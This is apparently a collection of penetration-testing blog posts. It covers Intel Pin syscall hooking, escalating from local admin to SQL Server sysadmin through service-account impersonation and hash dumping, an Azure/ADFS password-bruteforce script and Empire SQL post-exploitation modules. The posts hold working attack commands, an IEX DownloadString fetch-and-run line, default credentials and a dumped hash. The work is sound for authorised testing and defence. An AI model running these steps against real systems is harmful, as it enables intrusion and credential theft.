Back

Dynamic Binary Analysis with Intel Pin

Intro to Intel Pin

Dynamic Binary Instrumentation (DBI) is a technique for analyzing a running program by dynamically injecting analysis code. The added analysis code, or instrumentation code, is run in the context of the instrumented program with access to real, runtime values. DBI is a powerful technique since it does not require the source code for a program, as opposed to static analysis methods. In addition, it can instrument programs that generate code dynamically. To security researchers, DBI frameworks are invaluable tools as they allow for efficient ways to perform fuzzing, control flow analysis, and vulnerability detection with minimal overhead.

For this blog, I’ll explore Intel’s Pin tool and Linux system call hooking. Pin offers a comprehensive framework for creating pin tools to instrument at differing levels of granularity. You can find links to the Pin documentation in the references section. Also check out Gal Diskin’s slides from BlackHat for a more hands on overview of Pin’s functionality.

Identifying Linux System Calls

The main function of our pin tool example will be to intercept and identify the system calls made by a program. For reference, we can view the Linux x86_64 system call table here: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/.

This table will help to identify the system calls by the mapped system call number.

One of the advantages of DBI is that we do not need the source code for analysis. For the sake of simplicity, the python script below will be our target for instrumentation. We know that it returns the response of a GET request to Google.

import urllib2
page = urllib2.urlopen("https://www.google.com").read()

We can use the strace tool to see the system calls made.

# strace python http.py
execve("/usr/bin/python", ["python", "http.py"], [/* 19 vars */]) = 0
[TRUNCATED]
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
sendto(3, "GET / HTTP/1.1\r\nAccept-Encoding:"..., 117, 0, NULL, 0) = 117
recvfrom(3, "HTTP/1.1 200 OK\r\nDate: Mon, 15 M"..., 8192, 0, NULL, NULL) = 1418
recvfrom(3, "d\"><meta content=\"@GoogleDoodles"..., 7422, 0, NULL, NULL) = 2836
recvfrom(3, "ocation,b=a.href.indexOf(\"#\");if"..., 4586, 0, NULL, NULL) = 4586
recvfrom(3, "b\" value=\"Google Search\" name=\"b"..., 8192, 0, NULL, NULL) = 3154
recvfrom(3, "", 5038, 0, NULL, NULL)    = 0
recvfrom(3, "", 8192, 0, NULL, NULL)    = 0
close(3)                                = 0
[TRUNCATED]

The strace output above gives us an abundance of information to work with, but we will focus on the system calls we want to intercept: sendto and recvfrom. These system calls are used to transmit messages to and from sockets. We can see the arguments provided to both of the system calls and we will try to read those same arguments with our pin tool.

Hooking sendto and recvfrom

The Pin API for system calls starts with two main functions: PIN_AddSyscallEntryFunction and PIN_AddSyscallExitFunction. These functions register callback functions for before and after the execution of the system call, respectively. The registered callback functions allow us to add instrumentation code before and after every system call is executed.

PIN_AddSyscallEntryFunction(&syscallEntryCallback, NULL);
PIN_AddSyscallExitFunction(&syscallExitCallback, NULL);

We can get the system call number with the PIN_GetSyscallNumber function. This function will get the system call number in the current context. Likewise, we can get the arguments for the current system call with PIN_GetSyscallArgument where ‘i’ is the ordinal number of the argument value.

//sendto: 44, recvfrom: 45
PIN_GetSyscallNumber(ctxt, std);
PIN_GetSyscallArgument(ctxt, std, i);

By referencing the man pages for our intercepted system calls we know that the second argument holds a pointer to a buffer containing the message contents to be sent or received. The third argument is the length of that buffer. Once we intercept our system call, we can read the value of the buffer with the code below.

ADDRINT buf = PIN_GetSyscallArgument(ctxt, std, 1);
ADDRINT len = PIN_GetSyscallArgument(ctxt, std, 2);
int buflen = (int)len;
char *bufptr = (char *)buf;
for (int i = 0; i < buflen; i++, bufptr++) {
    fprintf(stdout, "%c", *bufptr);
}

The buffer pointer is our starting point and we walk “byte-by-byte” dereferencing the buffer pointer to read the value at each point until we hit the end length. Putting it all together, we can see some of the results below.

#../../../pin -t obj-intel64/syscalltest.so -- python http.py
call PIN_AddSyscallEntryFunction
call PIN_AddSyscallExitFunction
call PIN_StartProgram()
[TRUNCATED]
systemcall sendto: 44
buffer start: 0x7ff81ef26eb4
length: 117
GET / HTTP/1.1
Accept-Encoding: identity
Host: www.google.com
Connection: close
User-Agent: Python-urllib/2.7
[TRUNCATED]
systemcall recvfrom: 45
buffer start: 0x5644e5db7934
length: 8192
emtype="https://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for." name="description"><meta content="noodp" name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script>
[TRUNCATED]

The output of the example is far from clean but it does contain the information we want to intercept, the GET request and response. We can identify the system calls associated with network communications and even see the values of the arguments passed back and forth. Imagine if our binary from before sent login credentials in a GET request. We can retrieve that information.

systemcall sendto: 44
buffer start: 0x7f3b3dcf61c4
length: 146
GET /login?user=admin&pass=badpass HTTP/1.1
Accept-Encoding: identity
Host: www.notarealhost.com
Connection: close
User-Agent: Python-urllib/2.7

This example only scrapes the surface of the functionality that the Pin framework has to offer. In the future, I hope to create more complex tools for fuzzing.

You can find the example code at https://github.com/NetSPI/Pin.

References

Back

How to get SQL Server Sysadmin Privileges as a Local Admin with PowerUpSQL

In this blog, I outline common techniques that can be used to leverage the SQL Server service account to escalate privileges from a local administrator to a SQL Server sysadmin (DBA).  I also share a few PowerUpSQL functions that I worked on with Mike Manzotti (@mmanzo_) to perform SQL Server service account impersonation by wrapping Joe Bialek’s (@JosephBialek) wonderful Invoke-TokenManipulation function.

SQL Server Service Account Overview

At its core, SQL Server is just another Windows application.  In the case of SQL Server, every instance installs as a set of Windows Services that run in the background.  Each of those Windows services is configured to run with a Windows account.  The associated Windows account is then used for all interaction with the operating system.

The primary Window service behind SQL Server is the “SQL Server (Instance)” service, which runs sqlservr.exe.  Typically, the instance name is baked into the service name. For the sake of illustration, here is what three instances installed on the same system looks like in the services.msc.

Img B B Ba F

SQL Server Service Account Types

SQL Server services can be configured with many types of Windows accounts.  Naturally the type of Windows account chosen can dramatically affects the impact in the event that a SQL Server is compromised.

Below are some common service account types:

So…impersonating the service account could potentially land you Domain Admin privileges.  However, that’s not the goal of today’s exercise. 😉

If you only remember one thing from this blog it should be:

Regardless of a SQL Server service account’s privileges on the operating system, it has sysadmin privileges in SQL Server by default. That is true of every SQL Server version (that I’m aware of).

Now, let’s talk about how to get that sysadmin access as a local administrator or Domain Admin.

How do I impersonate the SQL Server Service Account?

Below are some common methods for impersonating SQL Server service accounts or acquiring their passwords if you have local or domain administrator privileges.

Note: All the techniques focus on the operating system level. However, a local administrator could also obtain sysadmin privileges from a least privilege SQL Server login using SQL Server layer vulnerabilities.

For those who are curious about what versions of SQL Server are affected by which techniques I’ve provided a list below:

How do I impersonate the SQL Server Service Account using PowerUpSQL?

Now that we’ve touched on the common techniques and tools, below are a few handy functions for impersonating the SQL Server service account with PowerUpSQL.

Note: Once again, these functions just wrap around Joe Bialek’s Invoke-TokenManipulation function.

Invoke-SQLImpersonateService

Invoke-SQLImpersonateService can be used to impersonate a SQL Server service account based on an instance name.  This can come in handy when you’re a local admin on a box and want to be able to run all the PowerUpSQL functions as a sysadmin against a local SQL Server instance. Below is a basic example.

  1. Log into the target system as a local or domain administrator. Then verify who you are.
    PS C:> whoami
    
    demoadministrator
  2. Next load the PowerShell module PowerUpSQL.
    PS C:> IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
  3. List the first available SQL Server instance on the local system.
    PS C:> Get-SQLInstanceLocal | Select-Object -First 1
    ComputerName       : MSSQLSRV04
    Instance           : MSSQLSRV04BOSCHSQL
    ServiceDisplayName : SQL Server (BOSCHSQL)
    ServiceName        : MSSQL$BOSCHSQL
    ServicePath        : "C:Program FilesMicrosoft SQL ServerMSSQL12.BOSCHSQLMSSQLBinnsqlservr.exe" -sBOSCHSQL
    ServiceAccount     : NT ServiceMSSQL$BOSCHSQL
    State              : Running
  4. Verify that the local administrator does not have sysadmin privileges on the local SQL Server instance using the Get-SQLServerInfo function.
    PS C:> Get-SQLServerInfo -Verbose -Instance MSSQLSRV04BOSCHSQL
    
    VERBOSE: MSSQLSRV04BOSCHSQL : Connection Success.
    
    ComputerName           : MSSQLSRV04
    Instance               : MSSQLSRV04BOSCHSQL
    DomainName             : DEMO
    ServiceProcessID       : 1620
    ServiceName            : MSSQL$BOSCHSQL
    ServiceAccount         : NT ServiceMSSQL$BOSCHSQL
    AuthenticationMode     : Windows and SQL Server Authentication
    Clustered              : No
    SQLServerVersionNumber : 12.0.4100.1
    SQLServerMajorVersion  : 2014
    SQLServerEdition       : Developer Edition (64-bit)
    SQLServerServicePack   : SP1
    OSArchitecture         : X64
    OsVersionNumber        : 6.2
    Currentlogin           : DEMOAdministrator
    IsSysadmin             : No
    ActiveSessions         : 1


    You should notice that the “CurrentLogin” is your current user account, and “IsSysadmin” is “No”.

  5. Impersonate the SQL Server service account for the target instance.
    PS C:> Invoke-SQLImpersonateService -Verbose -Instance MSSQLSRV04BOSCHSQL
    
    VERBOSE: MSSQLSRV04BOSCHSQL : DEMOadministrator has local admin privileges.
    VERBOSE: MSSQLSRV04BOSCHSQL : Impersonating SQL Server process:
    VERBOSE: MSSQLSRV04BOSCHSQL : - Process ID: 1620
    VERBOSE: MSSQLSRV04BOSCHSQL : - Service Account: NT ServiceMSSQL$BOSCHSQL
    VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
    VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
    VERBOSE: MSSQLSRV04BOSCHSQL : Selecting token by Process object
    VERBOSE: MSSQLSRV04BOSCHSQL : Done.
  6. Verify that the SQL Server service account for the target instance was successful by running the Get-SQLServerInfo command.
    PS C:> Get-SQLServerInfo -Verbose -Instance MSSQLSRV04BOSCHSQL
    
    VERBOSE: MSSQLSRV04BOSCHSQL : Connection Success.
    ComputerName           : MSSQLSRV04
    Instance               : MSSQLSRV04BOSCHSQL
    DomainName             : DEMO
    ServiceProcessID       : 1620
    ServiceName            : MSSQL$BOSCHSQL
    ServiceAccount         : NT ServiceMSSQL$BOSCHSQL
    AuthenticationMode     : Windows and SQL Server Authentication
    Clustered              : No
    SQLServerVersionNumber : 12.0.4100.1
    SQLServerMajorVersion  : 2014
    SQLServerEdition       : Developer Edition (64-bit)
    SQLServerServicePack   : SP1
    OSArchitecture         : X64
    OsMachineType          : ServerNT
    OSVersionName          : Windows Server 2012 Standard
    OsVersionNumber        : 6.2
    CurrentLogin           : NT ServiceMSSQL$BOSCHSQL
    IsSysadmin             : Yes
    ActiveSessions         : 1

    You should notice that the “CurrentLogin” is now the SQL Server service account, and “IsSysadmin” is now “Yes”.  At this point, any PowerUpSQL function you run will be in a sysadmin context. 🙂

  7. Once you’re all done doing what you need to do, revert to your original user context with the command below.
    PS C:> Invoke-SQLImpersonateService -Verbose -Rev2Self

Below is a short demo video:

Invoke-SQLImpersonateServiceCmd

Below is an example showing how to quickly start a cmd.exe in the context of each SQL service account associated with the instance MSSQLSRV04BOSCHSQL.  It’s a little silly, but it seems to be an effective way to illustrate risk around SQL Server service accounts during demos.

PS C:> Invoke-SQLImpersonateServiceCmd -Instance MSSQLSRV04BOSCHSQL

Note: The verbose flag will give you more info if you need it.

MSSQLSRV04BOSCHSQL - Service: SQL Full-text Filter Daemon Launcher (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSSQLFDLauncher$BOSCHSQL
MSSQLSRV04BOSCHSQL - Service: SQL Server Reporting Services (BOSCHSQL) - Running command "cmd.exe" as NT ServiceReportServer$BOSCHSQL
MSSQLSRV04BOSCHSQL - Service: SQL Server Analysis Services (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSOLAP$BOSCHSQL
MSSQLSRV04BOSCHSQL - Service: SQL Server (BOSCHSQL) - Running command "cmd.exe" as NT ServiceMSSQL$BOSCHSQL

All done.

When the function is done running you should have a cmd.exe window for each of the services.

Img B A

Note: You can also set a custom command to run using the -Exec command.

Get-SQLServerPasswordHash

Mike Manzotti (@mmanzo_) was nice enough to write a great function for pulling SQL Server login password hashes. It can be quite handy during penetration tests when searching for commonly shared account passwords.  He also added a -migrate switch to automatically escalate to sysadmin if your executing against a local instance with local administrator privileges.

PS C:> Get-SQLServerPasswordHash -Verbose -Instance MSSQLSRV04BOSCHSQL -Migrate

VERBOSE: MSSQLSRV04BOSCHSQL : Connection Success.
VERBOSE: MSSQLSRV04BOSCHSQL : You are not a sysadmin.
VERBOSE: MSSQLSRV04BOSCHSQL : DEMOadministrator has local admin privileges.
VERBOSE: MSSQLSRV04BOSCHSQL : Impersonating SQL Server process:
VERBOSE: MSSQLSRV04BOSCHSQL : - Process ID: 1568
VERBOSE: MSSQLSRV04BOSCHSQL : - ServiceAccount: NT ServiceMSSQL$BOSCHSQL
VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
VERBOSE: MSSQLSRV04BOSCHSQL : Successfully queried thread token
VERBOSE: MSSQLSRV04BOSCHSQL : Selecting token by Process object
VERBOSE: MSSQLSRV04BOSCHSQL : Attempting to dump password hashes.
VERBOSE: MSSQLSRV04BOSCHSQL : Attempt complete.
VERBOSE: 3 password hashes recovered.

ComputerName        : MSSQLSRV04
Instance            : MSSQLSRV04BOSCHSQL
PrincipalId         : 1
PrincipalName       : sa
PrincipalSid        : 1
PrincipalType       : SQL_LOGIN
CreateDate          : 4/8/2003 9:10:35 AM
DefaultDatabaseName : master
PasswordHash        : 0x0200698883dbec3fb88c445d43b99794043453384d13659ce72fc907af5a34534563c1624d935279f6447be9ec44467d4d1ef56d8e14a91fe183450520f560c2

[TRUNCATED]

Note: Mike also mentioned that it’s been working well remotely over WMI. 🙂

General Recommendations

Below are some basic recommendations that can be used to reduce the risk of the common escalation techniques outlined in this blog.

  • Upgrade to Windows Server 2012 or greater to support common OS controls.
  • Upgrade to SQL Server 2012 or greater to support common SQL Server controls.
  • Do not allow the storage of wdigest passwords in memory.
  • Do enable process protection.
  • Do use managed service accounts for standalone SQL Servers.
  • Do use least privilege domain accounts for clustered SQL Servers.
  • “Run separate SQL Server services under separate Windows accounts. Whenever possible, use separate, low-rights Windows or Local user accounts for each SQL Server service.” For more information, see Configure Windows Service Accounts and Permissions.
  • Consider running endpoint protection that can identify common remote code injection techniques. *I am aware that nobody wants to put performance impacting software on a database server.  🙂
  • More from Microsoft here

I would love to say “Simply remove the SQL Server service account from the Sysadmin fixed server role”, but I haven’t done enough testing to feel comfortable with that recommendation. As of right now it is a mystery to me why the service account is a sysadmin by default.  If anyone knows why, or has additional mitigating control recommendations please let me know.

Wrap Up

In this blog, I outlined common techniques that can be used to escalate privileges from a local Windows administrator to a SQL Server sysadmin (DBA).  I’ve also shared a few new PowerUpSQL functions that wrap the Invoke-TokenManipulation function to help make the job easier.  Hopefully they’ll be helpful.

Have fun and hack responsibly!

Most penetration testers know the pain of trying to view and modify an unparsed JSON string.  For those that don’t, here’s a taste:

{"userId":1234,"username":"JakeReynolds","favorites":["Rubik's cubes","Doctor Who"],"dislikes":["Sushi","Vegetables"]}

When looking at thousands of these strings a day it is important for them to be well formatted and easily understandable. There currently exists a Burp Extension for beautifying JSON but it is written in Python, which requires Jython to be downloaded and added to Burp.  There were also some issues with Jython and that extension not being as dependable as hoped. Due to those reasons we ported that functionality to Java which is run natively by Burp.

Java makes this extension one-click install, with support from Google’s GSON parser. The source code can be found on our Github as well as PortSwigger’s Github which includes updated build instructions.

To install, simply go to Burp > Extender > BApp Store and select “JSON Beautifier”. The next time there is a JSON request in any of the Burp tabs there will be the option of “JSON Beautifier”. Any content modified in this tab will also be modified in the “Raw” tab.  An example is below:

Jsonbeautifierwalkthrough

Thanks for checking out our Burp Extension! If you would like any features added feel free to create an issue on Github.

Back

Targeting Passwords for Managed and Federated Microsoft Accounts

The Basics

With the continual rise in popularity of cloud services, Microsoft launched their Azure cloud infrastructure in early 2010, which eventually went on to support their Virtual Machines, Cloud Services, and Active Directory Domain Services. There are two different ways a Microsoft domain can support cloud authentication; managed and federated. A federated domain is one whose authentication communicates with on-site federation providers such as Active Directory Federation Services (ADFS). These on-site providers communicate with the internal Active Directory domain controllers to determine if a user’s username and password are correct. In contrast, managed domains communicate solely with Microsoft’s cloud infrastructure and pass the provided username and password to Windows Azure Active Directory to validate authorization. It is worth noting that on premise Active Directory can be synced with Azure, meaning that usernames and passwords have a decent chance of being shared across the two.

Use Case

During external penetration tests, it’s common to attempt password guessing against available services to attempt to gain a foothold within an application or environment. This includes testing weak passwords for externally available domain services such as Office365, OWA, and VPN, among others. Being able to quickly and efficiently obtain the correct URI and perform password guessing across domains leaves more time for other fun testing. So I went on a search to find a program or script that could help automated password attempts against these cloud friendly services. My coworker Karl Fosaaen recently released a script and blog on identifying federated and managed domains with PowerShell. This prompted me to write a natural continuation on the subject by adding automated password guessing. The end result is Invoke-ExternalDomainBruteforce.psm1, a password bruteforce tool for managed and federated domains. Features of the script include:

  • Automatically identifying managed or federated domains
  • Single email or email list password guessing

Get the code here: https://github.com/NetSPI/PowerShell/blob/master/Invoke-ExternalDomainBruteforce.psm1

Below is an overview for each password guessing scenario. Please note that single email and email lists are supported by both Managed and Federated domains.

Single email targeting against a managed domain

Currently, there is no elegant way to exit from a successful connection to Microsoft’s Managed infrastructure in PowerShell. Because of this, the script outputs a warning informing the attacker that any commands run against a Managed domain will be run as the user displayed in the output. A potential workaround is to use PowerShell sessions, allowing you can successfully create and destroy sessions connected to managed domains. However, in the interest of not requiring local admin, avoiding major state changes to a computer by enabling PowerShell remoting, and simplicity, I decided to simply warn the user to exit their current PowerShell session to avoid any unintended changes within the managed domain.

Password Targeting

Email list targeting against a Federated domain

Targeting against a Federated domain will first identify the Authentication URL, then send an ADFSSecurityTokenRequest to the URL with the provided username and password. A valid username and password combination only returns a token value, meaning no active sessions are stored in the current PowerShell session. After all the usernames have been tested, the Authentication URL is also printed out for an attacker to visit the site and manually log in.

Password Targeting

Prerequisites

The code to connect to both Federated and Managed domains was taken from Microsoft. Below are the links to download that code:

Federated:

https://blogs.msdn.microsoft.com/besidethepoint/2012/10/17/request-adfs-security-token-with-powershell/

Managed (Azure AD Powershell module):

https://msdn.microsoft.com/en-us/library/jj151815.aspx

Limitations / Future Work

Currently the script can only target one domain at a time. In the near future I’ll update the script to target multiple domains at once.

References:

Back

Expanding the Empire with SQL

The core of PowerUpSQL is now in Empire.

We have added the following modules to Empire:

  • Get-SQLInstanceDomain
    • powershell/situational_awareness/network/get_sql_instance_domain
  • Get-SQLServerInfo
    • powershell/situational_awareness/network/get_sql_server_info
  • Get-SQLServerDefaultLoginPW
    • powershell/recon/get_sql_server_login_default_pw
  • Get-SQLQuery
    • powershell/collection/get_sql_query
  • Get-SQLColumnSampleData
    • powershell/collection/get_sql_column_sample_data
  • Invoke-SQLOSCmd
    • powershell/lateral_movement/invoke_sqloscmd

Let’s quickly go over how these modules work in Empire as a few changes had to be made for it to be integrated.

Get-SQLInstanceDomain

The first module, Get-SQLInstanceDomain, is used for querying Active Directory for a list of SQL Servers by looking up their SPNs. In Empire, it is used in the following way:

(Empire: NCH9K51L) > usemodule situational_awareness/network/get_sql_instance_domain
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > options

 Name: Get-SQLInstanceDomain
            Module: powershell/situational_awareness/network/get_sql_instance_domain
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
 @_nullbind
 @0xbadjuju

Description:
 Returns a list of SQL Server instances discovered by
 querying a domain controller for systems with registered
 MSSQL service principal names. The function will default to
 the current user's domain and logon server, but an
 alternative domain controller can be provided. UDP scanning
 of management servers is optional.

Comments:
 https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
 ps1

Options:
Options:

 Name                 Required   Value                     Description
 ----                 --------   -------                   -----------
 UDPTimeOut           False 3                              Timeout in seconds for UDP scans of
                                                           management servers. Longer timeout =
                                                           more accurate.
 Username             False                                SQL Server or domain account to
                                                           authenticate with.
 ComputerName         False                                Computer name to filter for.
 DomainController     False                                Domain controller for Domain and Site
                                                           that you want to query against.
 DomainServiceAccount False                                Domain account to filter for.
 Password             False                                SQL Server or domain account password to
                                                           authenticate with.
 CheckMgmt            False      False                     Performs UDP scan of servers managing
                                                           SQL Server clusters.
 Agent                True       NCH9K51L                  Agent to run module on.

(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: 2T8P1H
Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
34 instances were found.
ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,1433
DomainAccountSid : 15000005210002431346712921821222049996811922073100
DomainAccount    : SQL-2012$
DomainAccountCn  : SQL-2012
Service          : MSSQLSvc
Spn              : MSSQLSvc/sql-2012.test.local:1433
LastLogon        : 2/22/2017 6:51 PM
Description      : VM with SQL Server 2012 installed
...

In some instances, UDP scanning servers with the MSServerClusterMgmtAPI SPN will yield additional result.

(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > set CheckMgmt True
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) > run
(Empire: powershell/situational_awareness/network/get_sql_instance_domain) >
Job started: CYS4KA

Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
Parsing SQL Server instances from SPNs...
Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...
Performing a UDP scan of management servers to obtain managed SQL Server instances...
Parsing SQL Server instances from the UDP scan...
34 instances were found.
ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local

ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,1433

ComputerName     : sql-2012.test.local
Instance         : sql-2012.test.local,50213
...

Get-SQLServerInfo

The next module, Get-SqlServerInfo, is used for gathering information about each SQL instance. This module, due to PowerShell variable limitations within Empire, can either be used against a single instance or against all instances in the Domain. To run it against a single instance, specify the instance using the Instance parameter.

(Empire: NCH9K51L) > usemodule situational_awareness/network/get_sql_server_info
(Empire: powershell/situational_awareness/network/get_sql_server_info) > options


              Name: Get-SQLServerInfo
            Module: powershell/situational_awareness/network/get_sql_server_info
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
 @_nullbind
 @0xbadjuju

Description:
 Returns basic server and user information from target SQL
 Servers.

Comments:
 https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
 ps1

Options:

 Name     Required    Value                     Description
 ----     --------    -------                   -----------
 Username False                                 SQL Server or domain account to
                                                authenticate with.
 Instance False                                 SQL Server instance to connection to.
 Password False                                 SQL Server or domain account password to
                                                authenticate with.
 Agent    True        NCH9K51L                  Agent to run module on.
 CheckAll False                                 Check all systems retrieved by Get-
                                                SQLInstanceDomain


(Empire: powershell/situational_awareness/network/get_sql_server_info) > set Instance sql-2012.test.local
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
Job started: MY3AH7

ComputerName           : sql-2012.test.local
Instance               : sql-2012
DomainName             : test
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion  : 2012
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP3
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 10 Pro
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : Yes
ActiveSessions         : 0

To query all instances of SQL servers in the Domain, set the CheckAll flag to true. This will run Get-SqlInstanceDomain and pipe the results into Get-SqlServerInfo.

(Empire: powershell/situational_awareness/network/get_sql_server_info) > set CheckAll True
(Empire: powershell/situational_awareness/network/get_sql_server_info) > run
(Empire: powershell/situational_awareness/network/get_sql_server_info) >
Job started: 7KDR1S

ComputerName           : sql-2012.test.local
Instance               : sql-2012
DomainName             : test
ServiceName            : MSSQLSERVER
ServiceAccount         : NT Service\MSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.6248.0
SQLServerMajorVersion  : 2012
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP3
OSArchitecture         : X64
OsMachineType          : WinNT
OSVersionName          : Windows 10 Pro
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : Yes
ActiveSessions         : 0

ComputerName           : sqlexpress.test.local
Instance               : sqlexpress\SQLEXPRESS
DomainName             : test
ServiceName            : MSSQL$SQLEXPRESS
ServiceAccount         : NT Service\MSSQL$SQLEXPRESS
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.5540.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Express Edition (64-bit)
SQLServerServicePack   : SP2
OSArchitecture         : X64
OsMachineType          :
OSVersionName          :
OsVersionNumber        : 6.3
Currentlogin           : test\user
IsSysadmin             : No
ActiveSessions         : 0
...

Get-SqlServerDefaultLoginPW

The module Get-SqlServerDefaultLoginPW will scan the Domain for default SQL server logins. As with the other modules, this one also supports the CheckAll flag to run across the Domain.

(Empire: powershell/recon/get_sql_server_login_default_pw) > usemodule powershell/recon/get_sql_server_login_default_pw
(Empire: powershell/recon/get_sql_server_login_default_pw) > options

              Name: Get-SQLServerLoginDefaultPw
            Module: powershell/recon/get_sql_server_login_default_pw
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Based on the instance name, test if SQL Server is configured
  with default passwords.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1 https://github.com/pwnwiki/pwnwiki.github.io/blob/master
  /tech/db/mssql.md

Options:

  Name     Required    Value                     Description
  ----     --------    -------                   -----------
  Username False                                 SQL Server or domain account to
                                                 authenticate with. Only used for
                                                 CheckAll
  Instance False                                 SQL Server instance to connection to.
  Password False                                 SQL Server or domain account password to
                                                 authenticate with. Only used for
                                                 CheckAll
  Agent    True        NCH9K51L                  Agent to run module on.
  CheckAll False                                 Check all systems retrieved by Get-
                                                 SQLInstanceDomain.

(Empire: powershell/recon/get_sql_server_login_default_pw) > set Instance sqlexpress.test.local\SQLEXPRESS
(Empire: powershell/recon/get_sql_server_login_default_pw) > run
(Empire: powershell/recon/get_sql_server_login_default_pw) >
Job started: RMNTG5

sql-2012.test.local\sqlexpress : Confirmed instance match.
sql-2012.test.local\sqlexpress : Confirmed default credentials - admin/ca_admin
Computer   : sqlexpress.test.local
Instance   : sqlexpress.test.local\SQLEXPRESS
Username   : admin
Password   : ca_admin
IsSysAdmin : No

Get-SqlQuery

The next module, Get-SqlQuery, will preform a generic SQL query on the specified instance. It is used in the following way:

(Empire: NCH9K51L) > usemodule collection/get_sql_query
(Empire: powershell/collection/get_sql_query) > options

              Name: Get-SQLQuery
            Module: powershell/collection/get_sql_query
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Executes a query on target SQL servers.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1

Options:

  Name     Required    Value                     Description
  ----     --------    -------                   -----------
  Username False                                 SQL Server or domain account to
                                                 authenticate with.
  Instance False                                 SQL Server instance to connection to.
  Password False                                 SQL Server or domain account password to
                                                 authenticate with.
  Agent    True        NCH9K51L                  Agent to run module on.
  Query    True                                  Query to be executed on the SQL Server.

(Empire: powershell/collection/get_sql_query) > set Instance sql-2012.test.local
(Empire: powershell/collection/get_sql_query) > set Query SELECT @@VERSION
(Empire: powershell/collection/get_sql_query) > run
(Empire: powershell/collection/get_sql_query) >
Job started: PDAHEY

sql-2012.test.local : Connection Success.
Microsoft SQL Server 2012 (SP3-GDR) (KB3194721) - 11.0.6248.0 (X64)
        Sep 23 2016 15:49:43
        Copyright (c) Microsoft Corporation
        Developer Edition (64-bit) on Windows NT 6.3  (Build 14393: )

Get-SqlColumnSampleData

The next module is one of the most powerful modules within PowerUpSQL. Get-SqlColumnSampleData queries databases for columns and then based upon keywords, pulls down column data for analysis. This module has been particularly useful on PCI engagements to search for plain text credit card info. It is generally recommended to just run this module against all instances.

(Empire: NCH9K51L) > usemodule powershell/collection/get_sql_column_sample_data
(Empire: powershell/collection/get_sql_column_sample_data) > options

              Name: Get-SQLColumnSampleData
            Module: powershell/collection/get_sql_column_sample_data
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: True
   OutputExtension: None

Authors:
  @_nullbind
  @0xbadjuju

Description:
  Returns column information from target SQL Servers. Supports
  search by keywords, sampling data, and validating credit
  card numbers.

Comments:
  https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.
  ps1

Options:

  Name       Required    Value                     Description
  ----       --------    -------                   -----------
  Username   False                                 SQL Server or domain account to
                                                   authenticate with.
  CheckAll   False                                 Check all systems retrieved by Get-
                                                   SQLInstanceDomain.
  NoDefaults False                                 Don't select tables from default
                                                   databases.
  Agent      True        NCH9K51L                  Agent to run module on.
  Instance   False                                 SQL Server instance to connection to.
  Password   False                                 SQL Server or domain account password to
                                                   authenticate with.


(Empire: powershell/collection/get_sql_column_sample_data) > set Instance sql-2012.test.local
(Empire: powershell/collection/get_sql_column_sample_data) > set NoDefaults True
(Empire: powershell/collection/get_sql_column_sample_data) > run
(Empire: powershell/collection/get_sql_column_sample_data) >
Job started: PR61EX

sql-2012.test.local : START SEARCH DATA BY COLUMN
sql-2012.test.local : - Connection Success.
sql-2012.test.local : - Searching for column names that match criteria...
sql-2012.test.local : - No columns were found that matched the search.
sql-2012.test.local : END SEARCH DATA BY COLUMN

Hopefully your results are better.

Invoke-SqlOsCmd

